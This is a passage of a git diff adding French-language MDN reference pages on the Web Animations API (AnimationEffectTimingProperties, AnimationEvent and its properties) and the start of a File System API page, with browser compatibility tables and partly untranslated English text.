+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(45)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Chrome pour Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(45)}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] L'API Web Animations est uniquement activée par défaut pour les canaux <em>Nightly</em> et <em>Developer Edition</em>. Elle peut être activée dans les autres versions avec la préférence <code>dom.animations-api.core.enabled</code>.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Web_Animations_API">L'API Web Animations</a></li>
+ <li>{{domxref("Element.animate()")}}, {{domxref("KeyframeEffectReadOnly.KeyframeEffectReadOnly", "KeyframeEffectReadOnly()")}}, et {{domxref("KeyframeEffect.KeyframeEffect", "KeyframeEffect()")}} qui acceptent toutes un objet de minutage, y compris celui-ci (<code>delay</code>)</li>
+ <li>La valeur de cette propriété correspond à celle de {{domxref("AnimationEffectTimingReadOnly")}} (qui est l'objet de minutage {{domxref("AnimationEffectReadOnly.timing", "timing")}} pour {{domxref("AnimationEffectReadOnly")}}, {{domxref("KeyframeEffectReadOnly")}} et {{domxref("KeyframeEffect")}}).</li>
+ <li>Les propriétés CSS {{cssxref("transition-delay")}} et {{cssxref("animation-delay")}}</li>
+</ul>
diff --git a/files/fr/web/api/animationeffecttimingproperties/index.html b/files/fr/web/api/animationeffecttimingproperties/index.html
new file mode 100644
index 0000000000..cc984622c9
--- /dev/null
+++ b/files/fr/web/api/animationeffecttimingproperties/index.html
@@ -0,0 +1,124 @@
+---
+title: Animation Effect Timing Properties
+slug: Web/API/AnimationEffectTimingProperties
+tags:
+  - API
+  - Animation
+  - AnimationEffectTimingProperties
+  - Dictionnaire
+  - Experimental
+  - Interface
+  - Reference
+translation_of: Web/API/EffectTiming
+---
+<div>{{SeeCompatTable}}{{APIRef("Web Animations")}}</div>
+
+<p>Le dictionnaire <strong><code>AnimationEffectTimingProperties</code></strong> est utilisé par les méthodes {{domxref("Element.animate()")}}, {{domxref("KeyframeEffectReadOnly.KeyframeEffectReadOnly", "KeyframeEffectReadOnly()")}} et {{domxref("KeyframeEffect.KeyframeEffect", "KeyframeEffect()")}} afin de décrire les propriétés temporelles pour les effets d'animation. L'ensemble de ces propriétés sont optionnelles mais si <code>duration</code> n'est pas paramétrée, l'animation ne sera pas lancée.</p>
+
+<p>Ces propriétés décrivent la façon dont l'agent utilisateur applique l'animation entre chaque étape (<em>keyframe</em>) et comment elle se comporte au début et à la fin.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("AnimationEffectTimingProperties.delay", "delay")}} {{optional_inline}}</dt>
+ <dd>Le nombre de millisecondes à attendre avant de démarrer l'animation. La valeur par défaut est 0.</dd>
+ <dt>{{domxref("AnimationEffectTimingProperties.direction", "direction")}} {{optional_inline}}</dt>
+ <dd>Indique si l'animation se déroule dans le sens the animation runs forwards (<code>normal</code>), backwards (<code>reverse</code>), switches direction after each iteration (<code>alternate</code>), or runs backwards and switches direction after each iteration (<code>alternate-reverse</code>). Defaults to <code>"normal"</code>.</dd>
+ <dt>{{domxref("AnimationEffectTimingProperties.duration", "duration")}} {{optional_inline}}</dt>
+ <dd>La durée d'une itération, exprimée en millisecondes. La valeur par défaut est 0. Bien que cette propriété soit optionnelle, il faut garder à l'esprit que l'animation ne sera pas lancée si la valeur est 0.</dd>
+ <dt>{{domxref("AnimationEffectTimingProperties.easing", "easing")}} {{optional_inline}}</dt>
+ <dd>La courbe de progression de l'animation au cours du temps. Cette propriété accepte des valeurs pré-paramétrées comme <code>"linear"</code>, <code>"ease"</code>, <code>"ease-in"</code>, <code>"ease-out"</code> et <code>"ease-in-out"</code> ou une fonction <code>"cubic-bezier"</code> de la forme <code>"cubic-bezier(0.42, 0, 0.58, 1)"</code>. La valeur par défaut est <code>"linear"</code>.</dd>
+ <dt>{{domxref("AnimationEffectTimingProperties.endDelay", "endDelay")}} {{optional_inline}}</dt>
+ <dd>Le nombre de millisecondes à attendre après la fin de l'animation. Cette propriété est principalement utilisée lorsqu'on enchaîne une animation à la suite d'une autre. La valeur par défaut est 0.</dd>
+ <dt>{{domxref("AnimationEffectTimingProperties.fill", "fill")}} {{optional_inline}}</dt>
+ <dd>Indique si les effets de l'animation doivent s'appliqués sur l'élément avant d'être lancée (<code>"backwards"</code>), être conservés après la fin de l'animation (<code>"forwards"</code>) ou les deux <code>both</code>. La valeur par défaut est <code>"none"</code>.</dd>
+ <dt>{{domxref("AnimationEffectTimingProperties.iterationStart", "iterationStart")}} {{optional_inline}}</dt>
+ <dd>Décrit le point de départ de l'animation par rapport à une itération. Une valeur de 0.5 indique que l'animation démarre au milieu de la première animation (dans ce cas, après deux itérations, l'animation sera arrivée à la moitié de la troisième itération). La valeur par défaut est 0.0.</dd>
+ <dt>{{domxref("AnimationEffectTimingProperties.iterations", "iterations")}} {{optional_inline}}</dt>
+ <dd>Le nombre de fois que l'animation doit être répétée. La valeur par défaut est 1. Il est possible d'utiliser la valeur {{jsxref("Infinity")}} pour répéter l'animation aussi longtemps que l'élément existe.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Animations', '#the-animationeffecttimingproperties-dictionary', 'AnimationEffectTimingProperties' )}}</td>
+   <td>{{Spec2('Web Animations')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Microsoft Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(45)}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(45)}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] The Web Animations API is only enabled by default in Firefox Developer Edition and Nightly builds. You can enable it in beta and release builds by setting the preference <code>dom.animations-api.core.enabled</code> to <code>true</code>, and can disable it in any Firefox version by setting this preference to <code>false</code>.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Web_Animations_API">L'API Web Animations</a></li>
+ <li><a href="/fr/docs/Web/API/Web_Animations_API/Using_the_Web_Animations_API">Utiliser l'API Web Animations</a></li>
+ <li>{{domxref("Element.animate()")}}</li>
+ <li>{{domxref("KeyframeEffect.KeyframeEffect", "KeyframeEffect()")}}</li>
+ <li>{{domxref("KeyframeEffectReadOnly.KeyframeEffectReadOnly", "KeyframeEffectReadOnly()")}}</li>
+</ul>
diff --git a/files/fr/web/api/animationevent/animationevent/index.html b/files/fr/web/api/animationevent/animationevent/index.html
new file mode 100644
index 0000000000..ddb3270265
--- /dev/null
+++ b/files/fr/web/api/animationevent/animationevent/index.html
@@ -0,0 +1,130 @@
+---
+title: AnimationEvent()
+slug: Web/API/AnimationEvent/AnimationEvent
+translation_of: Web/API/AnimationEvent/AnimationEvent
+---
+<p>{{APIRef("Web Animations")}}{{SeeCompatTable}}</p>
+
+<p>Le constructeur <code><strong>AnimationEvent()</strong></code> retourne un nouvel {{domxref("AnimationEvent")}}, représentant un évènement en relation avec une animation.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>animationEvent</em> = new AnimationEvent(<em>type</em>, {animationName: <em>aPropertyName</em>,
+                                           elapsedTime  : <em>aFloat</em>,
+                                           pseudoElement: <em>aPseudoElementName</em>});
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p><em>Le constructeur <code>AnimationEvent()</code> </em>constructeur hérite également des arguments de <em> {{domxref("Event.Event", "Event()")}}.</em></p>
+
+<dl>
+ <dt><code>type</code></dt>
+ <dd>Un {{domxref("DOMString")}} représentant le nom du type de <code>AnimationEvent</code>. Il est sensible à la casse (majuscule-minuscule) et peut être: <code>'animationstart'</code>, <code>'animationend'</code>, or <code>'animationiteration'</code>.</dd>
+ <dt><code>animationName</code> {{optional_inline}}</dt>
+ <dd>Un {{domxref("DOMString")}} contenant la valeur de  la propriété associée avec la transition.{{cssxref("animation-name")}} . Prend par défaut <code style="font-size: 16px !important; line-height: 24px !important;">""</code>.</dd>
+ <dt><code>elapsedTime</code> {{optional_inline}}</dt>
+ <dd>Un <code>float</code> donne le montant de temps d'une application qui a fonctionné, en secondes, quand l'évenenement est déclenché, excluant le temps de pause des animations. Pour un évènement <code>"animationstart"</code> , <code>elapsedTime</code> est de <code>0.0</code> jusqu'a ce qu'il y ai une valeur négative pour une valeur {{cssxref("animation-delay")}}, dans le case où l'évenement est déclenché par <code>elapsedTime</code> contenant <code>(-1 *  </code><em>délais</em><code>)</code>. SA valeur par défaut vaut <code>0.0</code>.</dd>
+ <dt><code>pseudoElement</code> {{optional_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}}, starting with <code>"::"</code>, containing the name of the <a href="/en-US/docs/Web/CSS/Pseudo-elements" title="Learn more about pseudo-elements.">pseudo-element</a> the animation runs on. If the animation doesn't run on a pseudo-element but on the element itself, specify an empty string: <code>""</code>. It defaults to <code>""</code>.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>A new {{domxref("AnimationEvent")}}, initialized per any provided options.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Animations', '#AnimationEvent-interface', 'AnimationEvent()') }}</td>
+   <td>{{ Spec2('CSS3 Animations')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{ CompatGeckoDesktop("23.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>pseudoElement</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoDesktop("23.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile("23.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>pseudoElement</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile("23.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_CSS_animations">Using CSS animations</a></li>
+ <li>Animation-related CSS properties and at-rules: {{cssxref("animation")}}, {{cssxref("animation-delay")}}, {{cssxref("animation-direction")}}, {{cssxref("animation-duration")}}, {{cssxref("animation-fill-mode")}}, {{cssxref("animation-iteration-count")}}, {{cssxref("animation-name")}}, {{cssxref("animation-play-state")}}, {{cssxref("animation-timing-function")}}, {{cssxref("@keyframes")}}</li>
+ <li>The {{domxref("AnimationEvent")}} interface it belongs to.</li>
+</ul>
diff --git a/files/fr/web/api/animationevent/animationname/index.html b/files/fr/web/api/animationevent/animationname/index.html
new file mode 100644
index 0000000000..7e47bdccff
--- /dev/null
+++ b/files/fr/web/api/animationevent/animationname/index.html
@@ -0,0 +1,52 @@
+---
+title: AnimationEvent.animationName
+slug: Web/API/AnimationEvent/animationName
+tags:
+  - API
+  - AnimationEvent
+  - CSS Animations
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/API/AnimationEvent/animationName
+---
+<p>{{SeeCompatTable}}{{ apiref("AnimationEvent") }}</p>
+
+<p>La propriété en lecture seule <code><strong>AnimationEvent.animationName</strong></code> est une {{domxref("DOMString")}} contenant la valeur de la propriété CSS {{cssxref("animation-name")}} associée à la transition.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>nom</em> = <em>AnimationEvent</em>.animationName</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Animations', '#AnimationEvent-animationName', 'AnimationEvent.animationName')}}</td>
+   <td>{{Spec2('CSS3 Animations')}}</td>
+   <td>Première définition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.AnimationEvent.animationName")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/CSS/Animations_CSS">Utiliser les animations CSS</a></li>
+ <li>{{cssxref("animation")}}, {{cssxref("animation-delay")}}, {{cssxref("animation-direction")}}, {{cssxref("animation-duration")}}, {{cssxref("animation-fill-mode")}}, {{cssxref("animation-iteration-count")}}, {{cssxref("animation-name")}}, {{cssxref("animation-play-state")}}, {{cssxref("animation-timing-function")}}, {{cssxref("@keyframes")}}.</li>
+ <li>L'interface {{domxref("AnimationEvent")}} à laquelle elle appartient.</li>
+</ul>
diff --git a/files/fr/web/api/animationevent/elapsedtime/index.html b/files/fr/web/api/animationevent/elapsedtime/index.html
new file mode 100644
index 0000000000..4ddac24d0e
--- /dev/null
+++ b/files/fr/web/api/animationevent/elapsedtime/index.html
@@ -0,0 +1,98 @@
+---
+title: AnimationEvent.elapsedTime
+slug: Web/API/AnimationEvent/elapsedTime
+tags:
+  - API
+  - AnimationEvent
+  - CSS Animations
+  - Experimental
+  - Property
+  - Reference
+translation_of: Web/API/AnimationEvent/elapsedTime
+---
+<p>{{SeeCompatTable}}{{ apiref("AnimationEvent") }}</p>
+
+<h2 id="Résumé">Résumé</h2>
+
+<p>La propriété en lecture seule <code><strong>AnimationEvent.elapsedTime</strong></code> est un <code>float</code> indiquant la quantité de temps pendant laquelle l'animation a tournée, en secondes, quand l'évènement a été déclenché, excluant tout temps où l'animation était en pause. Pour un évènement <code>"animationstart", </code><code>elapsedTime</code> est <code>0.0</code> sauf si {{cssxref("animation-delay")}} a une valeur négative, dans ce cas l'évènement est déclenché avec <code>elapsedTime </code>contenant <code>(-1 * </code><em>délai</em><code>)</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>temps</em> = <em>AnimationEvent</em>.elapsedTime</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Animations', '#AnimationEvent-elapsedTime', 'AnimationEvent.elapsedTime') }}</td>
+   <td>{{ Spec2('CSS3 Animations')}}</td>
+   <td>Première définition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("6.0") }}</td>
+   <td>10.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("6.0") }}</td>
+   <td>10.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="/fr/docs/CSS/Animations_CSS">Utiliser les animations CSS</a></li>
+ <li>Propriétés CSS et règles @ en relations avec les animations CSS: {{cssxref("animation")}}, {{cssxref("animation-delay")}}, {{cssxref("animation-direction")}}, {{cssxref("animation-duration")}}, {{cssxref("animation-fill-mode")}}, {{cssxref("animation-iteration-count")}}, {{cssxref("animation-name")}}, {{cssxref("animation-play-state")}}, {{cssxref("animation-timing-function")}}, {{cssxref("@keyframes")}}.</li>
+ <li>L'interface {{domxref("AnimationEvent")}} à laquelle elle appartient.</li>
+</ul>
diff --git a/files/fr/web/api/animationevent/index.html b/files/fr/web/api/animationevent/index.html
new file mode 100644
index 0000000000..0001dcfe0d
--- /dev/null
+++ b/files/fr/web/api/animationevent/index.html
@@ -0,0 +1,78 @@
+---
+title: AnimationEvent
+slug: Web/API/AnimationEvent
+tags:
+  - API
+  - Experimental
+  - Interface
+  - Reference
+  - Web Animations
+translation_of: Web/API/AnimationEvent
+---
+<p>{{SeeCompatTable}}{{APIRef("Web Animations API")}}</p>
+
+<p><span class="seoSummary">L'interface <code><strong>AnimationEvent</strong></code> représentent les évènements apportant des informations sur les <a href="/fr/docs/CSS/Animations_CSS">animations CSS</a>.</span></p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<dl>
+</dl>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("AnimationEvent.AnimationEvent", "AnimationEvent()")}}</dt>
+ <dd>Créer un évènement AnimationEvent avec les paramètres spécifiés.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Hérite également des propriétés de son parent {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("AnimationEvent.animationName")}} {{readonlyInline}}</dt>
+ <dd>Est une {{domxref("DOMString")}} contenant la valeur de la propriété CSS {{cssxref("animation-name")}} associée à la transition.</dd>
+ <dt>{{domxref("AnimationEvent.elapsedTime")}} {{readonlyInline}}</dt>
+ <dd>Est un nombre à virgule flottante, donnant le temps pendant lequel l'animation s'est déroulée, en secondes, quand l'évènement est déclenché, en excluant tous les temps de pause de l'animation. Pour un évènement <code>animationstart</code>, <code>elapsedTime</code> est à 0.0 sauf si {{cssxref("animation-delay")}} a une valeur négative. Dans ce cas, l'évènement sera déclenché avec <code>elapsedTime</code> contenant (-1 * la valeur de <code>animation-delay</code>).</dd>
+ <dt>{{domxref("AnimationEvent.pseudoElement")}} {{readonlyInline}}</dt>
+ <dd>est une {{domxref("DOMString")}}, démarrant avec '::', contenant le nom du pseudo-élément où l'animation se déroule. Si l'animation ne se déroule pas sur un pseudo-élément, mais sur un élément, la chaîne de caractères sera vide.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Hérite également des propriétés de son parent {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("AnimationEvent.initAnimationEvent()")}} {{non-standard_inline}}{{deprecated_inline}}</dt>
+ <dd>Initialise un AnimationEvent créé avec la méthode obsolète {{domxref("Document.createEvent()", "Document.createEvent(\"AnimationEvent\")")}}.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Animations', '#AnimationEvent-interface', 'AnimationEvent') }}</td>
+   <td>{{ Spec2('CSS3 Animations') }}</td>
+   <td>Première définition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.AnimationEvent")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="/fr/docs/CSS/Animations_CSS">Utiliser les animations CSS</a></li>
+ <li>{{cssxref("animation")}}, {{cssxref("animation-delay")}}, {{cssxref("animation-direction")}}, {{cssxref("animation-duration")}}, {{cssxref("animation-fill-mode")}}, {{cssxref("animation-iteration-count")}}, {{cssxref("animation-name")}}, {{cssxref("animation-play-state")}}, {{cssxref("animation-timing-function")}}, {{cssxref("@keyframes")}}.</li>
+</ul>
diff --git a/files/fr/web/api/animationevent/pseudoelement/index.html b/files/fr/web/api/animationevent/pseudoelement/index.html
new file mode 100644
index 0000000000..ced5bee1aa
--- /dev/null
+++ b/files/fr/web/api/animationevent/pseudoelement/index.html
@@ -0,0 +1,50 @@
+---
+title: AnimationEvent.pseudoElement
+slug: Web/API/AnimationEvent/pseudoElement
+tags:
+  - API
+  - AnimationEvent
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/API/AnimationEvent/pseudoElement
+---
+<p>{{SeeCompatTable}}{{ apiref("AnimationEvent") }}</p>
+
+<p><span class="seoSummary">La propriété en lecture seule <code><strong>AnimationEvent.pseudoElement</strong></code> est une {{domxref("DOMString")}}, commençant par <code>'::'</code>, contenant le nom du <a href="/fr/docs/CSS/Pseudo-éléments" title="/en-US/docs/Web/CSS/Pseudo-elements">pseudo-élément</a> sur lequel tourne l'animation. </span>Si l'animation ne tourne pas sur un pseudo-élément, mais sur un élément, c'est une chaîne de caractère vide : <code>''</code><code>.</code></p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>nom</em> = <em>AnimationEvent</em>.pseudoElement</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Animations', '#AnimationEvent-pseudoElement', 'AnimationEvent.pseudoElement') }}</td>
+   <td>{{ Spec2('CSS3 Animations')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.AnimationEvent.pseudoElement")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="/fr/docs/CSS/Animations_CSS">Utiliser les animations CSS</a></li>
+ <li>Propriétés et règles @ en relation avec les animations CSS : {{cssxref("animation")}}, {{cssxref("animation-delay")}}, {{cssxref("animation-direction")}}, {{cssxref("animation-duration")}}, {{cssxref("animation-fill-mode")}}, {{cssxref("animation-iteration-count")}}, {{cssxref("animation-name")}}, {{cssxref("animation-play-state")}}, {{cssxref("animation-timing-function")}}, {{cssxref("@keyframes")}}.</li>
+ <li>L'interface {{domxref("AnimationEvent")}} à laquelle elle est rattachée.</li>
+</ul>
diff --git a/files/fr/web/api/api_fichier_systeme/index.html b/files/fr/web/api/api_fichier_systeme/index.html
new file mode 100644
index 0000000000..8cef71b2fa
--- /dev/null
+++ b/files/fr/web/api/api_fichier_systeme/index.html
@@ -0,0 +1,114 @@
+---
+title: API fichier système
+slug: Web/API/API_fichier_systeme
+translation_of: Web/API/File_and_Directory_Entries_API
+---
+<p>{{DefaultAPISidebar("API fichier système")}}{{Non-standard_header()}}</p>
+
+<p>L'API fichier système simule un fichier système en local que les applications web peuvent utiliser. Vous pouvez développer des applications qui lisent, écrivent, et créent des fichiers et/ou des dossiers dans un espace virtuel.</p>
+
+<p>Deux API très simulaires existent en fonction du comportement asynchrone ou synchrone souhaité. L'API synchrone est prévu pour être utilisée dans un {{domxref("Worker")}} et retournera les valeurs recherchées. The asynchronous API will not block and functions and the API will not return values; instead, you will need to supply a callback function to handle the response whenever it arrives.</p>
+
+<h2 id="API_asynchrone">API asynchrone</h2>
+
+<p>L'API asynchrone a les interfaces suivantes :</p>
+
+<ul>
+ <li><a href="/en/DOM/File_API/File_System_API/LocalFileSystem" title="en/DOM/File_API/File_System_API/LocalFileSystem">LocalFileSystem</a> a deux méthodes globales qui vous permet d'avoir accès à un espace virtuel : requestFileSystem() et resolveLocalFileSystemURL().  Les méthodes sont implémentées par l'objet <a href="/fr/docs/window">window</a> et le worker global scope.</li>
+ <li><a href="/en/DOM/File_API/File_System_API/FileSystem" title="en/DOM/File_API/File_system_API/FileSystem">FileSystem</a> représente un fichier système. L'objet est la passerelle à votre API toute entière.</li>
+ <li><a href="/en/DOM/File_API/File_System_API/Entry" title="en/DOM/File_API/File_system_API/Entry">Entry</a> représente une entrée dans un fichier système. L'entrée peut être un fichier ou un dossier.</li>
+ <li><a href="/en/DOM/File_API/File_System_API/DirectoryEntry" title="en/DOM/File_API/File_system_API/DirectoryEntry">DirectoryEntry</a> représente un dossier dans un fichier système.</li>
+ <li><a href="/en/DOM/File_API/File_System_API/DirectoryReader" title="en/DOM/File_API/File_system_API/DirectoryReader">DirectoryReader</a> vous permet la lecture de fichiers et dossiers à partir d'un dossier.</li>
+ <li><a href="/en/DOM/File_API/File_System_API/FileEntry" title="en/DOM/File_API/File_system_API/FileEntry">FileEntry</a> représente un fichier dans un fichier système.</li>
+ <li><a href="/en/DOM/File_API/File_System_API/FileError" title="en/DOM/File_API/File_system_API/FileError">FileError</a> est une erreur que vous pourriez rencontrer pendant l'utilisation des méthodes asynchrones.</li>
+</ul>
+
+<h2 id="API_synchrone">API synchrone</h2>
+
